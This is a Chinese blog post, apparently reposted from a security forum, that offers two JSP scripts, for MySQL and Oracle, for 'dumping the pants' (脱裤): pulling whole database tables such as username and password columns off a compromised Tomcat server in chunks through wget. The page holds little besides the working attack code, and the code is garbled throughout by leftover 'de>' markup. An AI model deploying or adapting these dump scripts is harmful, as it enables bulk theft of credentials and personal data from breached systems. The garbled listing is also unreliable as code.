注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

 
 
 
 
 

日志

 
 

JSP wget脱裤脚本  

2015-01-05 11:31:34|  分类: 工具软件 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
刚看上一个php wget脱裤的帖子,有朋友说要jsp的,jsp其实我也写好了,但是感觉没有php那么方便。
存在依赖问题,比如tomcat下需要有oralce jdbc,我测试换的环境是oracle 10g,JDBC是classes12.jar,需要将它放到tomcat目录的common\lib下面。T00ls.Net - 低调求发展 - 技术无止境 - Focus On Network Security; W6 u# e4 i  ~: I
java不太熟悉,听说可以利用反射方式解决依赖包问题。稍后我再研究研究,这里发出两个版本,一个是mysql的,一个是oracle的。
www.t00ls.net' l1 ~* [3 X2 {4 x
Mysql版本:de >
de>01de>de><%@ page contentType=de>de>"text/html; charset=utf-8"de> de>%>de>
de>02de>de><%@ page language=de>de>"java"de> de>%>de>
de>03de>de><%@ page de>de>importde>de>=de>de>"java.sql.*"de> de>%>de>
de>04de> 
de>05de>de><%de>
de>06de>de>//author: By Gavinde>
de>07de>de>//Usage: wget "http://xxx.com/wget_db_mysql.jsp?sn=0&en=5000000&ln=50000" -O gavin.sqlde>
de>08de>de>//jdbc mysql-connector-java.jar tomcat/common/libde>
de>09de> 
de>10de>de>out.clear();de>
de>11de>de>//分段每次limit查询出来的条数,根据实际情况调整,默认为2wde>
de>12de>de>intde> de>MAX_LIMIT_NUM =  de>de>20000de>de>;        de>
de>13de>de>//最大缓存条数,防止占用过多内存,根据每条数据大小调整                                de>
de>14de>de>intde> de>MAX_CACHE_NUM = de>de>5000de>de>;        de>
de>15de> 
de>16de>de>// 驱动程序名 de>
de>17de>de>String driverName=de>de>"com.mysql.jdbc.Driver"de>de>; de>
de>18de>de>// 数据库地址de>
de>19de>de>String dbAddress = de>de>"127.0.0.1:3306"de>de>;de>
de>20de>de>//数据库用户名 de>
de>21de>de>String userName=de>de>"root"de>de>; de>
de>22de>de>//密码 de>
de>23de>de>String userPasswd=de>de>"root"de>de>;de>
de>24de>de>//数据库名 de>
de>25de>de>String dbName=de>de>"DBName"de>de>;de>
de>26de>de>// 查询字段de>
de>27de>de>String columns[] = de>de>"username,password"de>de>.split(de>de>","de>de>);de>
de>28de>de>//表名 de>
de>29de>de>String tableName=de>de>"table_name"de>de>; de>
de>30de> 
de>31de>de>// 接受参数de>
de>32de>de>intde> de>startNum = Integer.valueOf(request.getParameter(de>de>"sn"de>de>));                        de>de>//接收起始条数de>
de>33de>de>intde> de>endNum = Integer.valueOf(request.getParameter(de>de>"en"de>de>));                        de>de>//接收结束条数de>
de>34de>de>String ln = request.getParameter(de>de>"ln"de>de>);de>
de>35de>de>ifde> de>(ln != de>de>nullde> de>&& ln != de>de>""de>de>)  MAX_LIMIT_NUM = Integer.valueOf(ln);        de>de>//接收每次分段查询的条数de>
de>36de>de>intde> de>gavin_downNum = endNum - startNum;                                                                        de>de>//计算总下载条数de>
de>37de> 
de>38de>de>ifde> de>(endNum < MAX_LIMIT_NUM) MAX_LIMIT_NUM = endNum;de>
de>39de>de>intde> de>multiple = gavin_downNum/MAX_LIMIT_NUM;de>
de>40de>de>intde> de>complement = gavin_downNum%MAX_LIMIT_NUM;de>
de>41de> 
de>42de>de>// 连接数据库de>
de>43de>de>String url=de>de>"jdbc:mysql://"de>de>+dbAddress+de>de>"/"de>de>+dbName+de>de>"?user="de>de>+userName+de>de>"&password="de>de>+userPasswd; de>
de>44de>de>Class.forName(driverName).newInstance(); de>
de>45de>de>Connection connection=DriverManager.getConnection(url); de>
de>46de>de>Statement statement = connection.createStatement(); de>
de>47de> 
de>48de>de>// 拼装前半部分sqlde>
de>49de>de>String sql = de>de>"SELECT "de>de>;de>
de>50de>de>forde>de>(de>de>intde> de>i=de>de>0de>de>;i<columns.length;i++){de>
de>51de>de>        de>de>ifde>de>(i == (columns.length-de>de>1de>de>)){de>
de>52de>de>                de>de>sql += columns[i];de>
de>53de>de>        de>de>} de>de>elsede> de>{de>
de>54de>de>                de>de>sql += columns[i] + de>de>","de>de>;de>
de>55de>de>        de>de>}de>
de>56de>de>}de>
de>57de>de>sql += de>de>" FROM "de> de>+ tableName + de>de>" "de>de>;de>
de>58de> 
de>59de>de>intde> de>num = de>de>1de>de>;de>
de>60de> 
de>61de>de>forde>de>(de>de>intde> de>i=de>de>0de>de>;i<multiple;i++) {de>
de>62de>de>        de>de>intde> de>newStartNum = i*MAX_LIMIT_NUM+startNum;de>
de>63de>de>        de>de>ifde>de>(i == (multiple-de>de>1de>de>)) MAX_LIMIT_NUM += complement;de>
de>64de>de>        de>de>String newSql = sql + de>de>" limit "de> de>+ newStartNum + de>de>","de> de>+ MAX_LIMIT_NUM;de>
de>65de>de>         de>de>java.sql.ResultSet rs = statement.executeQuery(newSql); de>
de>66de>de>         de>de>//获得数据结果集合 de>
de>67de>de>         de>de>//ResultSetMetaData rmeta = rs.getMetaData(); de>
de>68de>de>         de>de>whilede>de>(rs.next()) { de>
de>69de>de>                 de>de>num ++;de>
de>70de>de>                 de>de>forde>de>(de>de>intde> de>j=de>de>1de>de>;j<=columns.length;j++){de>
de>71de>de>                         de>de>ifde>de>(j == columns.length){de>
de>72de>de>                                 de>de>out.println(rs.getString(j));de>
de>73de>de>                         de>de>} de>de>elsede> de>{de>
de>74de>de>                                 de>de>out.print(rs.getString(j)+de>de>"-->"de>de>);de>
de>75de>de>                         de>de>}de>
de>76de>de>                de>de>}de>
de>77de>de>                 de>de>ifde> de>(num >= MAX_CACHE_NUM) {de>
de>78de>de>                         de>de>out.flush();de>
de>79de>de>                         de>de>num = de>de>0de>de>;de>
de>80de>de>                 de>de>}de>
de>81de>de>         de>de>} de>
de>82de>de>         de>de>rs.close(); de>
de>83de>de>}de>
de>84de>de>statement.close(); de>
de>85de>de>connection.close(); de>
de>86de>de>%>de>
de> 
2015年01月05日 - IversOn5 - IversOn5 blog
 
Oracle版本:de >
de>01de>de><%@ page contentType=de>de>"text/html; charset=utf-8"de> de>%>de>
de>02de>de><%@ page language=de>de>"java"de> de>%>de>
de>03de>de><%@ page de>de>importde>de>=de>de>"java.sql.*"de> de>%>de>
de>04de>de><%de>
de>05de> 
de>06de>de>//author: By Gavinde>
de>07de>de>//Usage: wget "http://xxx.com/wget_db_oracle.jsp?sn=0&en=5000000&ln=50000" -O gavin.sqlde>
de>08de>de>//jdbc jar tomcat/common/libde>
de>09de> 
de>10de>de>out.clear();de>
de>11de>de>//分段每次limit查询出来的条数,根据实际情况调整,默认为2wde>
de>12de>de>intde> de>MAX_LIMIT_NUM =  de>de>20000de>de>;        de>
de>13de>de>//最大缓存条数,防止占用过多内存,根据每条数据大小调整                                de>
de>14de>de>intde> de>MAX_CACHE_NUM = de>de>5000de>de>;        de>
de>15de> 
de>16de>de>// 驱动程序名 de>
de>17de>de>String driverName = de>de>"oracle.jdbc.driver.OracleDriver"de>de>;de>
de>18de>de>// 数据库地址de>
de>19de>de>String dbAddress = de>de>"192.168.199.175:1521"de>de>;de>
de>20de>de>//数据库用户名 de>
de>21de>de>String userName=de>de>"sys"de>de>+de>de>" as sysdba"de>de>; de>
de>22de>de>//密码 de>
de>23de>de>String userPasswd=de>de>"gavin"de>de>;de>
de>24de>de>//数据库名 de>
de>25de>de>String dbName=de>de>"orcl"de>de>;de>
de>26de>de>// 查询字段de>
de>27de>de>String columns[] = de>de>"role,password_required"de>de>.split(de>de>","de>de>);de>
de>28de>de>//表名 de>
de>29de>de>String tableName=de>de>"dba_roles"de>de>; de>
de>30de> 
de>31de>de>// 接受参数de>
de>32de>de>intde> de>startNum = Integer.valueOf(request.getParameter(de>de>"sn"de>de>));                        de>de>//接收起始条数de>
de>33de>de>intde> de>endNum = Integer.valueOf(request.getParameter(de>de>"en"de>de>));                        de>de>//接收结束条数de>
de>34de>de>String ln = request.getParameter(de>de>"ln"de>de>);de>
de>35de>de>ifde> de>(ln != de>de>nullde> de>&& ln != de>de>""de>de>)  MAX_LIMIT_NUM = Integer.valueOf(ln);        de>de>//接收每次分段查询的条数de>
de>36de>de>intde> de>gavin_downNum = endNum - startNum;                                                                        de>de>//计算总下载条数de>
de>37de> 
de>38de>de>ifde> de>(endNum < MAX_LIMIT_NUM) MAX_LIMIT_NUM = endNum;de>
de>39de>de>intde> de>multiple = gavin_downNum/MAX_LIMIT_NUM;de>
de>40de>de>// int complement = gavin_downNum%MAX_LIMIT_NUM;de>
de>41de> 
de>42de>de>// 连接数据库de>
de>43de>de>String url = de>de>"jdbc:oracle:thin:@"de>de>+dbAddress+de>de>":"de>de>+dbName;de>
de>44de>de>Class.forName(driverName).newInstance(); de>
de>45de>de>Connection connection=DriverManager.getConnection(url,userName,userPasswd); de>
de>46de>de>Statement statement = connection.createStatement(); de>
de>47de> 
de>48de>de>// 拼装前半部分sqlde>
de>49de>de>String sql_t = de>de>""de>de>;de>
de>50de>de>forde>de>(de>de>intde> de>i=de>de>0de>de>;i<columns.length;i++){de>
de>51de>de>        de>de>ifde>de>(i == (columns.length-de>de>1de>de>)){de>
de>52de>de>                de>de>sql_t += columns[i];de>
de>53de>de>        de>de>} de>de>elsede> de>{de>
de>54de>de>                de>de>sql_t += columns[i] + de>de>","de>de>;de>
de>55de>de>        de>de>}de>
de>56de>de>}de>
de>57de>de>// select role,password_required from (select rownum row_uuid,role,password_required from dba_roles) where row_uuid>10 and row_uuid<15de>
de>58de>de>String sql =de>de>"select "de> de>+ sql_t + de>de>" FROM (select rownum row_uuid,"de> de>+ sql_t + de>de>" from "de> de>+ tableName + de>de>")"de>de>;de>
de>59de> 
de>60de>de>intde> de>num = de>de>1de>de>;de>
de>61de>de>forde>de>(de>de>intde> de>i=de>de>0de>de>;i<multiple;i++) {de>
de>62de>de>        de>de>intde> de>newStartNum = startNum;de>
de>63de>de>        de>de>intde> de>newEndNum = newStartNum+MAX_LIMIT_NUM;de>
de>64de>de>        de>de>ifde>de>(i == multiple-de>de>1de> de>) newEndNum = endNum;de>
de>65de>de>        de>de>startNum = newEndNum;de>
de>66de> 
de>67de>de>        de>de>String newSql = sql + de>de>" where row_uuid > "de> de>+ newStartNum + de>de>" and row_uuid <= "de> de>+ newEndNum;de>
de>68de> 
de>69de>de>         de>de>java.sql.ResultSet rs = statement.executeQuery(newSql); de>
de>70de>de>         de>de>//获得数据结果集合 de>
de>71de>de>         de>de>whilede>de>(rs.next()) {de>
de>72de>de>                 de>de>num ++;de>
de>73de>de>                 de>de>forde>de>(de>de>intde> de>j=de>de>1de>de>;j<=columns.length;j++){de>
de>74de>de>                         de>de>ifde>de>(j == columns.length){de>
de>75de>de>                                 de>de>out.println(rs.getString(j));de>
de>76de>de>                         de>de>} de>de>elsede> de>{de>
de>77de>de>                                 de>de>out.print(rs.getString(j)+de>de>"-->"de>de>);de>
de>78de>de>                         de>de>}de>
de>79de>de>                de>de>}de>
de>80de>de>                 de>de>ifde> de>(num >= MAX_CACHE_NUM) {de>
de>81de>de>                         de>de>out.flush();de>
de>82de>de>                         de>de>num = de>de>0de>de>;de>
de>83de>de>                 de>de>}de>
de>84de>de>         de>de>} de>
de>85de>de>         de>de>rs.close(); de>
de>86de>de>}de>
de>87de>de>statement.close(); de>
de>88de>de>connection.close(); de>
de>89de>de>%>de>
de>
2015年01月05日 - IversOn5 - IversOn5 blog


 
  评论这张
 
阅读(46)| 评论(0)
推荐

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017